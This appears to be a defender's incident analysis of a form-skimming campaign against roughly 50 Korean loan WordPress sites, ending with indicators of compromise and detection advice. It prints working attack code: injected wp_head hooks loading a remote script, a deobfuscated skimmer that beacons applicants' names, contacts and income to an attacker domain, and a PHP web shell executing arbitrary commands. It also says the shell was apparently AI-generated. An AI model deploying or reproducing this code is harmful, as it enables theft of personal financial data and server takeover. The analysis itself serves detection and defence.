The same three lines appeared in functions.php across roughly 50 Korean consumer loan sites running under one brand. Every loan application submitted — name, phone number, income, desired loan amount — was being silently sent to an attacker's server. The sites showed no errors.
The Injection
Two variants were found.
// Group A — direct attacker server reference
add_action('wp_head', function() {
echo '<script src="https://ll9sh[.]com/custom.min.js"></script>';
}, 99);
// Group B — relay through a compromised intermediary
add_action('wp_head', function() {
echo '<script src="http://[compromised-site]/wp-content/themes/imedica/js/custom.min.js"></script>';
}, 99);
Priority 99 is deliberate — runs after most plugin hooks, avoiding overwrite conflicts.
Group B doesn't expose the attacker's domain. The intermediary is another Korean .co.kr site compromised in the same campaign, used as a payload relay to bypass simple external-domain blocklists. The same pattern appeared across all 50 sites under the same operator. Not a single opportunistic hit — a coordinated multi-site operation.
Skimmer Analysis
Reverse-engineering ll9sh[.]com/custom.min.js:
(function () {
var endpoint = atob("aHR0cHM6Ly9sbDlzaC5jb20vanMuanM="); // => https://ll9sh[.]com/js.js
document.addEventListener("submit", function (e) {
var form = e.target;
if (!form.classList.contains("crm-form")) return;
var payload = {
name: form.querySelector('[name="name"]').value,
contact: form.querySelector('[name="contact"]').value,
amount: form.querySelector('[name="amount"]').value,
income: form.querySelector('[name="income"]').value,
loan_type: form.querySelector('[name="loan_type"]').value,
t: Date.now(),
u: location.href,
};
navigator.sendBeacon(endpoint, JSON.stringify(payload));
}, true);
}());
Three things worth noting:
capture: true— Fires in the capture phase, before bubbling. Data leaves before form validation runs; a rejected submission still exfiltrates.sendBeacon— Delivery is guaranteed even after page unload.fetchor XHR would be cancelled by the browser on navigation.atob()endpoint — The destination URL doesn't appear in plaintext, bypassing some static analysis tools.
And crm-form, loan_type, income — the attacker knew the exact field names specific to this operator's platform. Prior reconnaissance happened.
The Backdoor
Beyond the skimmer injection, wp-includes/class-wp-update.php was left on the server. This file does not exist in WordPress core.
<?php
$secretKey = '[REDACTED]';
$headerKey = $_SERVER['HTTP_X_SECRET_KEY'] ?? '';
if (!hash_equals($secretKey, $headerKey)) {
http_response_code(200);
exit;
}
set_time_limit(0);
ini_set('memory_limit', '-1');
ini_set('output_buffering', 'off');
ini_set('zlib.output_compression', 'Off');
session_start();
/* ===== Command Execution ===== */
if (isset($_POST['cmd']) && $_POST['cmd'] !== '') {
$cmd = trim($_POST['cmd']);
$_SESSION['history'][] = $cmd;
if (preg_match('/^cd\s+(.+)$/i', $cmd, $matches)) {
$newDir = realpath($_SESSION['cwd'] . DIRECTORY_SEPARATOR . $matches[1]);
if ($newDir && is_dir($newDir)) {
$_SESSION['cwd'] = $newDir;
} else {
$output = "Directory not found: " . htmlspecialchars($matches[1]);
}
} else {
chdir($_SESSION['cwd']);
$output = shell_exec($cmd . " 2>&1");
}
}
// ... (file download, delete, ZIP compress/decompress, and additional features)
Without the correct X-Secret-Key header the file returns a blank HTTP 200 and exits — WAF signatures tuned to 4xx won't fire. Once authenticated: set_time_limit(0) and ini_set('memory_limit', '-1') immediately, designed for long-running commands. cd gets a separate handling path tracking working directory in session state. File upload, download, delete, and ZIP operations are all present. output_buffering and zlib.output_compression are disabled to stream shell output in real time. This is an interactive shell, not a simple file dropper.
The AI generation fingerprint isn't the Bootstrap dark UI — it's the comments. "Set your desired secret key here", "or 403, 404, etc.", "unlimited execution time": an AI explaining its own code and offering options. Korean-language section dividers on top of that makes it nearly certain this was prompted into existence.
Forensic traces
Network concealment was considered: X-Secret-Key doesn't appear in default Apache or nginx access logs. HTTP 200 on failed auth avoids 4xx-keyed WAF signatures.
Host layer was not. session_start() immediately followed by $_SESSION['history'][] = $cmd writes every executed command to a session file. If /tmp/sess_* or /var/lib/php/sessions/ wasn't cleaned up, the attacker's command history is still there. No timestamp manipulation either — mtime of the backdoor file against other wp-includes/ files reveals exactly when it was planted.
The AI-suggested stealth patterns were applied. The operational security a skilled operator would have added was not.
Indicators of Compromise (IoCs)
- Malicious domain:
ll9sh[.]com - C2 IPs:
172.67.133.240,104.21.5.227(behind Cloudflare CDN) - Backdoor file:
wp-includes/class-wp-update.php - Network indicator: requests containing an
X-Secret-KeyHTTP header in access logs - Malicious scripts:
https://ll9sh[.]com/custom.min.js,https://ll9sh[.]com/js.js - Distribution path: on imedica-theme sites,
/wp-content/themes/imedica/js/custom.min.jscontaining asubmitevent listener orsendBeaconcall
Detection
- Search
functions.phpforadd_action('wp_head'. Any callback thatechoes an external URL warrants immediate investigation. - Run
wp verify-checksums. Flags files added towp-includes/that don't belong to core. - Set
functions.phppermissions to444. An attacker with RCE still can't modify the file without further privilege escalation. - Add a CSP
script-srcdirective. Even a successful injection gets blocked at execution. - Parse
<script src>domains periodically and alert on anything outside your allowlist. This attack was detectable on the first page load after injection.
Three lines of PHP. Every applicant's financial data gone. Not a sophisticated attack — which is exactly what makes it uncomfortable.